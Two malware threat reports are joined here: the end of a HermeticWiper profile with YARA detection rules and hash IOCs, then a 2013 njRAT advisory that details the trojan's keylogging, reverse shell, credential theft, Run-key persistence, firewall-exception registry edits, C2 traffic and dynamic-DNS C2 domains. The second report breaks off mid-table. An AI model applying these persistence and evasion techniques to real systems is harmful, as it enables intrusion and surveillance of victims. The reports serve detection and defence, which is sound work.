Recorded Future  www.recordedfuture.com MTP-2022-030213 Appendix B: YARA Rules import pe import hash rule HermeticWiper meta: author  CNANCE, Insikt Group, Recorded Future date  2022-02-24 description  Rule to detect HermeticWiper malware version  1.0 hash  1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 hash  0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da hash  2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf RF_MALWARE  HermeticWiper strings: // paths p1  \\\\.\\EPMNTDRV\\u fullword wide p2  \\\\.\\PhysicalDriveu fullword wide // disable crash dumps r1  SYSTEM\\CurrentControlSet\\Control\\CrashControl fullword wide r2  CrashDumpEnabled fullword wide // privileges s1  SeLoadDriverPrivilege fullword wide s2  SeBackupPrivilege fullword wide // stack string: S.eS.hu.td.o..i.vi.le.ge s3   c7 4? ?
?
61 00 62 00 c7 4? ?
?
63 00 64 00 c7 4? ?
?
65 00 66 00 c7 4? ?
?
67 00 68 00 c7 4? ?
?
69 00 6a 00 c7 4? ?
?
6b 00 6c 00 c7 4? ?
?
6d 00 6e 00 c7 4? ?
?
6f 00 70 00 c7 4? ?
?
71 00 72 00 c7 4? ?
?
73 00 74 00 c7 4? ?
?
75 00 76 00 c7 4? ?
?
77 00 78 00 c7 4? ?
?
79 00 7a 00 condition: uint16(0)  0x5a4d // PE file and filesize  90KB and all of them and for any i in (0..pe.number_of_signatures): ( pe.signatures[i].thumbprint  1ae7556dfacd47d9efbe79be974661a5a6d6d923 // Hermetica Digital Ltd certificate ) and for 2 i in (0..pe.number_of_resources): ( pe.resources[i].type_string  R\x00C\x00D\x00A\x00T\x00A\x00 and ( // Check resource names ( pe.resources[i].name_string  D\x00R\x00V\x00_\x00X\x006\x004\x00 or pe.resources[i].name_string  D\x00R\x00V\x00_\x00X\x008\x006\x00 or pe.resources[i].name_string  D\x00R\x00V\x00_\x00X\x00P\x00_\x00X\x006\x004\x00 or pe.resources[i].name_string  D\x00R\x00V\x00_\x00X\x00P\x00_\x00X\x008\x006\x00 ) MALWARE/TOOL PROFILE http://www.recordedfuture.com www.recordedfuture.com  Recorded Future  MTP-2022-0302 14 or // Check hashes for EaseUS driver ( hash.sha256(pe.resources[i].offset, pe.resources[i].length) e5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5 or hash.sha256(pe.resources[i].offset, pe.resources[i].length) b01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1 or hash.sha256(pe.resources[i].offset, pe.resources[i].length) b6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd or hash.sha256(pe.resources[i].offset, pe.resources[i].length) fd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d ) ) )  rule MAL_PartyTicket meta: author  LKAYE, Insikt Group, Recorded Future date  2022-02-24 description  Rule to detect pseudo-ransomware associated with HermeticWiper malware version  1.0 hash  4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 RF_MALWARE  HermeticWiper strings: s1  403forBiden ascii s2  wHiteHousE ascii s3  .exe.gif.htm.ico.iso.jpg.mp3.msi.odt.
ascii //this is fairly unusual for modern, professional ransomware to encrypt exes s4  main.voteFor403 ascii s5  main.n1hk9 ascii s6  Thank you for your vote ascii //part of ransom note s7  photoes ascii //misspelling in ransom note condition: uint16(0)  0x5a4d and filesize  3000KB and all of them  MALWARE/TOOL PROFILE http://www.recordedfuture.com Recorded Future  www.recordedfuture.com MTP-2022-030215 Appendix C: IOCs HermeticWiper Sample (SHA256): 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da 3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7e5cebf4d3e Ransomware Sample (SHA256): 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 MALWARE/TOOL PROFILE http://www.recordedfuture.com 16www.recordedfuture.com  Recorded Future  MTP-2022-0302 MALWARE/TOOL PROFILE About Recorded Future Recorded Future is the worlds largest intelligence company.
The Recorded Future Intelligence Platform provides the most complete coverage across adversaries, infrastructure, and targets.
By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future provides real-time visibility into the vast digital landscape and empowers clients to take proactive action to disrupt adversaries and keep their people, systems, and infrastructure safe.
Headquartered in Boston with offices and employees around the world, Recorded Future works with more than 1,300 businesses and government organizations across 60 countries.
Learn more at recordedfuture.com and follow us on Twitter at RecordedFuture.
http://www.recordedfuture.com _xeskci5o0hvk _rlvrizacbuxx _76fx07tjoz9i _59imetc15470 _vkcxc6yyt42o _kovlmlbbjfrc _oft0fcb9z3c2 _9k63olpvnvvo _swxoo7ec5ocb _pyhpvgdmua9 _3idoilrhw9hw
www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use.
This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security Systems, Inc.
While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that the information contained herein is error free.
Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 1 of 27 njRAT Uncovered Fidelis Threat Advisory 1009 njRAT Uncovered June 28, 2013 Document Status: FINAL Last Revised: 2013-06-28 Executive Summary In the past thirty days (30) an increase attack activity has been observed using the njRAT malware.
This remote access trojan (RAT) has capabilities to log keystrokes, access the victims camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victims desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID.
Through the Command  Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives.
njRAT is currently leveraged by advanced threat actors in the Middle East, in particular when delivered via HTTP (i.e.
Phishing attack or Drive-by download).
It has also been observed that attackers are delivering njRAT embedded in other applications (i.e.
L517 v.0.994 Word List Generator), and compressed with EZIRIZ .NET Reactor/.NET protector.
Obfuscation with the use of compressors or protectors is a technique used by attackers to prevent detection by network- based and host-based security defenses.
We have observed the majority of the attacks leveraging njRAT to be against organizations based in or focused on the Middle East region in the government, telecom, and energy sectors.
However as this is a publicly available tool it can be attained and deployed with ease regardless of location or industry.
During the analysis of njRAT, it was observed that some of the top antivirus vendors were not currently detecting some variants of this threat.
Some of the file names of carrier files or njRAT samples observed were: L517 v0.994.exe, RealUpgrade.exe, password hotmail cracker 2013.exe, elisa.exe, Crack All Games.exe, fresh cc www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 2 of 27 njRAT Uncovered cvv all info 2013_txt.scr, spoolsv.exe, Hack Origin Games.exe, Authorization form may - 2013 - 115444.scr, and Authorization.exe.
This document will provide detailed information about the njRATs functionality, file system indicators, network indicators, some of the campaign IDs observed,  MD5 hashes, and domains.
It will also go over a detailed analysis of one of the malware variants.
Threat Overview The njRAT is a robust remote access trojan that once it reaches and infects the end-point, allows the attacker to have full control over the Victim system.
With this access, the attacker can start scanning other systems in the victim network to perform lateral movement.
We will start this section by performing analysis on the following njRAT sample: - Filename:  Authorization.exe - MD5:   1d3baedd747f6f9bf92c81eb9f63b34b The Authorization.exe njRAT malware was embedded and dropped in the victim system by the following file: Authorization form may - 2013 - 115444.scr (MD5: 63781fe1932e612c6c29225d25515111).
The next section (Indicators  Mitigation Strategies), will provide information about other variants of the malware obtained.
Summary The Authorization.exe malware sample was created with version V.0.5 of this RAT.
The njRAT application was developed with VB.NET (Visual Basic .NET).
When the malware connects to the Command  Control (CnC) server, the attacker is able to perform the following actions from the njRAT CnC server GUI: - Open a File Manager window to manipulate files o This window allows the attacker to Upload  Download, Run, Delete, Edit, Rename, Copy, Cut, Paste, and Empty files.
o The window also allows the attacks to create new folders in the Victim system - Open a Run File window o This window allows the attacker to upload a file, or provide a link to a file to run in the Victim system - Open a Remote Desktop window o When selected, it opens a live window of the Victims user desktop - Open a Remote Cam window o This window allows the attacker to obtain access to the Victims system camera to see the Victim user www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 3 of 27 njRAT Uncovered - Open a Remote Shell window o This window opens a reverse shell window and allow the attacker to perform all the activities possible from the command prompt - Open a Process Manager window o This window allows the attacker to Refresh the process list, Kill processes, Suspend processes, Resume processes - Open a Registry window o This window allows the attacker manipulate the Victims system registry (edit, delete, create keys and values) - Open a Keylogger window o When this option is selected, the keylogger file is automatically uploaded from the Victim system into the attackers machine - Open a Get Passwords window o This window appears to collect all the passwords stored by the browser (User, Password, URL, App).
At the moment of writing this report, the functionality was not confirmed.
When the option is selected, the malware searches Mozilla Firefox, Google Chrome, Opera directories.
-
Open a Server window o This window allows the attacker to Update, Uninstall, Restart, Close, Disconnect, or Rename the malware running in the Victim system - Open an Open Folder window o This window open the local folder in the attackers machine in which the artifacts collected through the njRAT GUI are stored in his/her system - Open a Builder Window o This window allows the attacker to build new Clients to be deployed to Victims or used in attack campaigns.
Some of the options in this builders allows the attacker to configure: C2 node IP C2 node port Vic Tim Name (Looks like this could be used to identify the attack campaign) Malware name (when it makes a copies itself) Directory to make a copy of the malware when it is executed Capabilities to spread via USB Select the malware icon Protect the malware process Stub Randomization www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 4 of 27 njRAT Uncovered The following is a screenshot of the njRAT v.0.5 CnC GUI when a Victim system connects to it: The following About information was observed in this version (0.5.0) of the C2 server software found online: Project  : njRat Verison  : 0.5.0 Coded By : njq8 FireFox Stealer : DarkSel Paltalk Stealer : pr0t0fag Chrome Stealer : RockingWithTheBest Opera Stealer : Black-Blood, KingCobra MySite  : http://xnjq8x.com www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 5 of 27 njRAT Uncovered The following screenshot shows the Builder interface and default parameters: The Authorization.exe malware has keylogger functionality.
It stores the logged keystrokes in the following file: [CWD]\.tmp.
When the malware is dropped by the Authorization form may - 2013 - 115444.scr carrier file, the logged keystrokes are stored in: C:\Extracted\.tmp.
The IP address used by the Command  Control (C2) node appears to be under an IP range owned by: Palestinian Internet Services, P. O.
BOX 5111 Gaza City, Palestine.
Variants of this malware have been observed by the community since at least 2012.
The malware appears to be known by the community as: njRAT, MSIL/Bladabindi, and Backdoor.
LV.
When the Authorization.exe malware is executed it: - Creates a copy of itself in the following locations: o APPDATA\msnco.exe o C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\b6554e5bcfef391ff7a7ffda58092e10.exe - Tries to open the following file: [CWD]\ Authorization.exe.config - Entrenches in the system for persistence in the following registry locations: o HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ru n\b6554e5bcfef391ff7a7ffda58092e10 o HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\R un\b6554e5bcfef391ff7a7ffda58092e10 www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 6 of 27 njRAT Uncovered Makes the following modifications to the registry to bypass the Windows Firewall: o Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAcc ess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplic ations\List\[APPDATA]\msnco.exe o Value: [APPDATA]\msnco.exe::Enabled:msnco.exe - Beacons to the following C2 node over TCP port 1177: 217.66.231.245 The attacker tries to make sure the malware will run in the system by making the second copy into the above mentioned directory (C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\b6554e5bcfef391ff7a7ffda58092e10.exe) o This causes the malware to execute again when the system is rebooted and re-starts the infection in the system.
Once the system is infected again, it will beacon to the C2 node.
The attacker tries to trick the user by using different icons for the malware.
Various samples were observed with MS Word and PDF icons.
The following is a screenshot of how the file will look like to a normal user: When the system is configured to show file extensions, the EXE extension is now revealed: When the malware connects to the C2 node, it will send information about the victim system, malware version, open windows, etc.
The following is the network traffic observed: lvTndfQzQyNjRFQkIVICTIMExaminer2013-06-21USAWin XP ProfessionalSP2 x86No0.5.0E..Y3B0YnRfUHJvY2Vzc19SZWdpc3RyeV9GaWxlX0luZm8ubG9nIC0gTm90ZXB hZA[endof]act Y3B0YnRfUHJvY2Vzc19SZWdpc3RyeV9GaWxlX0luZm8ubG9nIC0gTm90ZXBhZA [endof] www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 7 of 27 njRAT Uncovered The following table provides information of some of the fields observed in the network traffic: Field Information TndfQzQyNjRFQkI Base64 encoded data.
The decoded data reveals the following string: Nw_C4264EBB.
It appears that the string before the _ (Nw) can be used by the attacker to identify the attack campaign.
This is configured through the njRAT builder GUI.
The second portion (C4264EBB) is the Volume Serial Number of the victim system VICTIM Computer name Examiner Username 2013-06-21 Date Modified attribute of the malware.
This date will match the first time the file is created in the victim system USA System locale Win XP ProfessionalSP2 x86 Operating System Information No Report if the system has a camera 0.5.0E Malware version Y3B0YnRfUHJvY2Vzc19S ZWdpc3RyeV9GaWxlX0lu Zm8ubG9nIC0gTm90ZXB hZA Base64 encoded data.
The decoded data reveals the following string: cptbt_Process_Registry_File_Info.log - Notepad.
In this case, the decoded string is just information about an open window used by the examiner to capture system activity Information sent by the attacker on opened windows in the system could inform him/her of his malware being analyzed and allowed to connect to the C2 node.
For example, if Wireshark, Filemon, Regmon, and IDA are opened in the system when the analyst executes the malware, this will quickly let the attacker know that someone is performing reverse engineering of his malicious code.
www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 8 of 27 njRAT Uncovered The following WHOIS information was found related to the C2 node (217.66.231.245): inetnum:         217.66.228.0 - 217.66.231.255 netname:         AV_FXD_RA descr:           AV_FXD_RA country:         PS admin-c:         HT1472-RIPE tech-c:          WK4085-RIPE status:          Assigned PA mnt-by:          Palnet-mnt source:          RIPE  Filtered person:          Hadara Tech address:         RaMallah phone:           97022403434 nic-hdl:         HT1472-RIPE mnt-by:          palnet-MNT source:          RIPE  Filtered person:          Walid Kassab address:         Palestinian Internet Services address:         P. O.
BOX 5111 Gaza City, Palestine phone:           972 8 284 3197 fax-no:          972 8 284 3187 nic-hdl:         WK4085-RIPE mnt-by:          PIS-MNTNER source:          RIPE  Filtered Information related to 217.66.224.0/20 AS15975 route:          217.66.224.0/20 descr:           PALNET-NET origin:          AS15975 remarks:         removed cross-nfy:    MND1-RIPE remarks:         removed cross-mnt:    PALNET-MNT mnt-by:          PALNET-MNT source:          RIPE  Filtered www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 9 of 27 njRAT Uncovered The  Authorization.exe variant in this report appears to have been available at some point through the following URL: hxxp://bongdacongdong.vn/authorization.exe.
The domain currently resolves to the following IP address: 112.213.89.144, but at some point, the domain was associated with the following IP address: 31.170.165.90.
The following information was found at Virustotal for 31.170.165.90: - Passive DNS replication The following domains resolved to the given IP address: 2013-04-18  abilkart.p.ht 2013-04-22  alexis.id1945.com 2013-04-27  aw.nation-sim.net 2013-06-04  bongdacongdong.vn 2013-04-11  cs-viewer.ru 2013-06-26  dota2mail.hol.es 2013-05-07  download.mikroonur.tk 2013-06-27  express.vv.si 2013-04-16  forumteam.ru 2013-04-25  hs.nation-sim.net - Latest detected URLs Latest URLs hosted in this IP address detected by at least one URL scanner or malicious URL dataset: 3/38 2013-06-09 08:16:23 hxxp://www.saldo-dobrado.id1945.com/sodexo2013/dobro.htm 2/38 2013-06-05 15:15:03 hxxp://yandload.besaba.com/ 3/38 2013-06-04 02:08:18 hxxp://bongdacongdong.vn/authorization.exe 4/38 2013-05-30 21:34:09 hxxp://yandload.besaba.com/index.php?frubinrot.exe 5/39 2013-05-24 17:36:28 hxxp://indonesiancode.p.ht/ 2/36 2013-05-10 04:50:52 hxxp://yandload.besaba.com/index.php3F 2/37 2013-04-30 05:06:15 hxxp://yandload.besaba.com/index.php5B2A2Aqmark2A2A5D 2/37 2013-04-29 22:23:55 hxxp://php6.besaba.com/install_flashplayer11x32_mssd_aih.exe 2/36 2013-04-27 09:14:33 hxxp://aw.nation-sim.net/ips_kernel/sabre/Sabre/DAV/FS/option.php 1/36 2013-04-22 21:56:09 hxxp//alexis.id1945.com/ - First submission: 2013-05-28 at 00:12:24 www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 10 of 27 njRAT Uncovered Authorization.exe File Information File Name:  Authorization.exe File Size:  110080 bytes MD5:        1d3baedd747f6f9bf92c81eb9f63b34b SHA1:       328c12ba3e6e99e63968b066455b7575e7ee862b PE Time:    0x5197ACE1 [Sat May 18 16:31:29 2013 UTC] PEID Sig:   Microsoft Visual C / Basic .NET PEID Sig:   Microsoft Visual Studio .NET Sections (4): Name      Entropy  MD5 .text     5.09     dd1ed0314f376bad9786d08b53796a67 .sdata    7.99     f92654e72b03e352178cad42896f9662 .rsrc     5.65     03e4e092203078e7957cd7c164240f3d .reloc    0.08     3f2e9251bcd17a2cb17e9202d1b100d3 Antivirus Hits AV Tool Common Name Kaspersky Trojan.MSIL.Zapchast.zlg AntiVir  TR/MSIL.Zapchast.zlg Avast  Win32:Malware-gen AVG Generic33.AHLZ BitDefender Trojan.
GenericKDV.1013622 F-Secure Trojan.
GenericKDV.1013622 Fortinet W32/Zapchast.
ZLGtr McAfee RDN/Generic.grpep Microsoft Trojan:Win32/Comitsproc Norman Troj_Generic.
LRVVH Sophos Mal/Generic-S Symantec WS.Reputation.1 TrendMicro TROJ_GEN.RCCCDF5 VIPRE Trojan.
Win32.GenericBT Process artifacts The following processes were started when the Authorization.exe malware was executed: C:\Windows\System32\netsh.exe APPDATA\msnco.exe www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 11 of 27 njRAT Uncovered File system artifacts The following files were created when the Authorization.exe malware was executed: APPDATA\msnco.exe C:\WINDOWS\Prefetch\AUTHORIZATION.EXE-0AD199D6.pf C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\b6554e5bcfef391ff7a7ffda58092e10.exe C:\WINDOWS\Prefetch\NETSH.EXE-085CFFDE.pf C:\WINDOWS\Prefetch\MSNCO.EXE-1616CBE8.pf [CWD] \.tmp (or when created by the original dropper: C:\Extracted\.tmp) Registry artifacts The following registry values were set by the Authorization.exe malware when it was executed: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\b6554e5 bcfef391ff7a7ffda58092e10 [Value: [APPDATA]\msnco.exe ..] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\b6554e 5bcfef391ff7a7ffda58092e10 [Value: [APPDATA]\msnco.exe ..] HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Para meters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\ [APPDATA]\msnco.exe [Value: [APPDATA]\msnco.exe::Enabled:msnco.exe] Network artifacts Domain/IP Port Encrypted/Encoded 217.66.231.245 1177 Some data is Base64 encoded www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 12 of 27 njRAT Uncovered Indicators  Mitigation Strategies: The following three (3) tables will provide information about some of the malware observed to be njRAT itself or carrier files that once executed dropped njRAT in the victim system.
The first table contains the MD5 hash , size, domain, port, njRat version, and campaign ID.
The second table contains information about the file system artifacts (kelogger file location, files created).
The third table contains information about registry key entrenchment for persistence.
Then, a list of network indicators will be provided to assist network defenders with the creation of signatures to be deployed to the sensors.
www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 13 of 27 njRAT Uncovered Table 1: MD5 hash, size, domain/IP, port, njRat version, and campaign ID Note: The Campaing ID named HacKed is the default string in the njRAT Builder interface.
MD5 Size (bytes) Domain/IP Port Versio n Campaign ID 2013385034e5c8dfbbe47958fd821ca0 441344 dr-vip.no-ip.org 1177 0.5.0E 7c42d2426c51318f5947a92bf23e1686 839101 mp3.servemp3.com 9632 0.5.0E _ a6da3b63981e345e1c3cd58c6e3dc7fc 123904 mp3.servemp3.com 9632 0.5.0E _ e1471b169d6b4049d757bb705877d329 233984 kyfen.dyndns.biz 288 0.5.0E 1d3baedd747f6f9bf92c81eb9f63b34b 790235 217.66.231.245 1177 0.5.0E Nw a669c0da6309a930af16381b18ba2f9d 26624 ksadxxd24.no-ip.org 80 0.3.6 5fcb5282da1a2a0f053051c8da1686ef 30208 xxsniper.no-ip.biz 81 0.3.5 sniper jordan 3b99f596b36ece7b6add78e3b14a3b17 295640 mohammad3badi.zapto.or g 120 0.5.0E 26-3-2013 79dce17498e1997264346b162b09bde8 40960 naif.no-ip.org 1177 0.4.1a 2013 3ad5fded9d7fdf1c2f6102f4874b2d52 79360 wolblid.zapto.org 1177 0.5.0E VictimO fc96a7e27b1d3dab715b2732d5c86f80 977408 m3333m.no-ip.org 1177 0.3.6 NEW XXX 60f1b8980d109a556922d5000ae02010 123084 8 zackhaviland.no-ip.org 1177 0.5.0E leak 92ee1fb5df21d8cfafa2b02b6a25bd3b 26624 alitatat.no-ip.org 1177 0.3.6 IRAQ 2164c555f9f23dca54e76b94b1747480 59392 kurdkalar11.zapto.org 1177 0.5.0E HacKed_By_XF a98b4c99f64315aac9dd992593830f35 44544 kurdkalar11.zapto.org 1177 0.5.0E HacKed_By_XF 7e34abdd10c5c763291e69a886452849 50688 hack-badone.no-ip.biz 1177 0.5.0E HacKed By Badone 29daad42dafffab5e0f1f96d620e7392 96256 special.no-ip.biz 1500 0.5.0E HacKed 4168543695513f767ba44997ebd71431 244736 nasr23200.no-ip.org 1177 0.5.0E HacKed www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 14 of 27 njRAT Uncovered fb671c8735461809534813b818d193f4 187904 wisam77.no-ip.biz 1177 0.5.0E HacKed 2bf859ea02ae3340cd66eb5e46b1a704 75264 hassoon03.no-ip.info 1177 0.5.0E HacKed 24cc5b811a7f9591e7f2cb9a818be104 314880 samirsamir.hopto.org 1177 0.5.0E HacKed 11b79281a25da1b798574f667c56898b 428032 gdsg.no-ip.org 1199 0.5.0E HacKed 2cdbbe5045bed2031a1fc77c3e30e719 583747 Saman70.no-ip.org 1177 0.5.0E HacKed f6b4a2be06fc3ba4bb02d1bcbea328fe 95232 Saman70.no-ip.org 1177 0.5.0E HacKed Table 2: MD5 hash, File system artifacts Note: The copy of njRAT created with the filename Trojan.exe, is the default filename string in the njRAT Builder interface.
The Keylogger file location referred to as [CWD]\.tmp, refers to the location from which the original malware is executed.
It was observed that this was used when the malware was embedded in a legitimate looking application, and the kelogger files get created in the directory of that application (i.e.
C:\Program Files\Facebook\QuadAtom\.tmp).
MD5 Keylogger File Created Malware 2013385034e5c8dfbbe47958fd821ca0 APPDATA\ja33kk.exe.t mp APPDATA\ja33kk.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\9758a8dfbe15a00f55a11c8306f80da1.
exe 7c42d2426c51318f5947a92bf23e1686 [CWD]\.tmp USERPROFILE\RealUpgrade.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\d30ac691925b853d59f2822ae7a67c9 4.exe (MD5: a6da3b63981e345e1c3cd58c6e3dc7fc, Size: 123904) a6da3b63981e345e1c3cd58c6e3dc7fc [CWD]\.tmp USERPROFILE\RealUpgrade.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\d30ac691925b853d59f2822ae7a67c9 4.exe e1471b169d6b4049d757bb705877d329 [CWD]\.tmp TEMP\java.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\d2be3e6d11846430c067fc874a79f583 .exe www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 15 of 27 njRAT Uncovered 1d3baedd747f6f9bf92c81eb9f63b34b C:\Extracted\.tmp [CWD]\.tmp APPDATA\msnco.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\b6554e5bcfef391ff7a7ffda58092e10.e xe a669c0da6309a930af16381b18ba2f9d TEMP\Trojan.exe.tmp TEMP\Trojan.exe C:\Documents and Settings\Examiner\Start Menu\Programs\Startup\5cd8f17f4086744065eb0992a09e05a2 .exe 5fcb5282da1a2a0f053051c8da1686ef TEMP\Trojan.exe.log TEMP\Trojan.exe C:\Documents and Settings\Examiner\Start Menu\Programs\Startup\5cd8f17f4086744065eb0992a09e05a2 .exe 3b99f596b36ece7b6add78e3b14a3b17 [CWD]\.tmp TEMP\mohd.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\2635ef5d1f5dc1ac753feb21f019d8e4.
exe 79dce17498e1997264346b162b09bde8 APPDATA\Trojan.exe.t mp APPDATA\Trojan.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\8515eb34d8f9de5af815466e9715b3e 5.exe 3ad5fded9d7fdf1c2f6102f4874b2d52 TEMP\trojen.exe.tmp TEMP\trojen.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\49afcb0bd0c44cd98007157d78e8394 a.exe fc96a7e27b1d3dab715b2732d5c86f80 TEMP\Trojan.exe.tmp TEMP\Trojan.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\5cd8f17f4086744065eb0992a09e05a2 .exe 60f1b8980d109a556922d5000ae02010 TEMP\file.exe.tmp TEMP\file.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\1052b8e9071d5b658c32c84c463014f 5.exe 92ee1fb5df21d8cfafa2b02b6a25bd3b APPDATA\Trojan.exe.t mp APPDATA\Trojan.exe C:\Documents and Settings\Examiner\Start Menu\Programs\Startup\8515eb34d8f9de5af815466e9715b3e 5.exe 2164c555f9f23dca54e76b94b1747480 TEMP\scvhost.exe.tmp TEMP\scvhost.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\8cff24636d2a58810bd5cdc8cb1b8987 .exe TEMP\1.exe (MD5: a98b4c99f64315aac9dd992593830f35.
Size: 44544) www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 16 of 27 njRAT Uncovered TEMP\2.exe a98b4c99f64315aac9dd992593830f35 TEMP\scvhost.exe.tmp TEMP\scvhost.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\8cff24636d2a58810bd5cdc8cb1b8987 .exe TEMP\1.exe (MD5: a98b4c99f64315aac9dd992593830f35.
Size: 44544) TEMP\2.exe (MD5: a98b4c99f64315aac9dd992593830f35) 7e34abdd10c5c763291e69a886452849 TEMP\system.exe.tmp TEMP\system.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\12ce4e06a81e8d54fd01d9b762f1b1bb .exe 29daad42dafffab5e0f1f96d620e7392 [CWD]\.tmp TEMP\Trojan.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\5cd8f17f4086744065eb0992a09e05a2 .exe 4168543695513f767ba44997ebd71431 [CWD]\.tmp TEMP\Trojan.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\5cd8f17f4086744065eb0992a09e05a2 .exe fb671c8735461809534813b818d193f4 TEMP\wsmlol.exe.tmp TEMP\wsmlol.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\191530b485fd6f0420e2c6bff7f0dbd7.e xe 2bf859ea02ae3340cd66eb5e46b1a704 [CWD]\.tmp TEMP\Trojan.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\5cd8f17f4086744065eb0992a09e05a2 .exe 24cc5b811a7f9591e7f2cb9a818be104 APPDATA\spoolsv.exe .tmp APPDATA\spoolsv.exe (MD5: 24cc5b811a7f9591e7f2cb9a818be104, size: 314880) C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\28a9e392f74a71da2b5285754eb1bac a.exe 11b79281a25da1b798574f667c56898b TEMP\Win7.exe.tmp TEMP\Win7.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\614ef891df302ed5efa9b06422720faf.
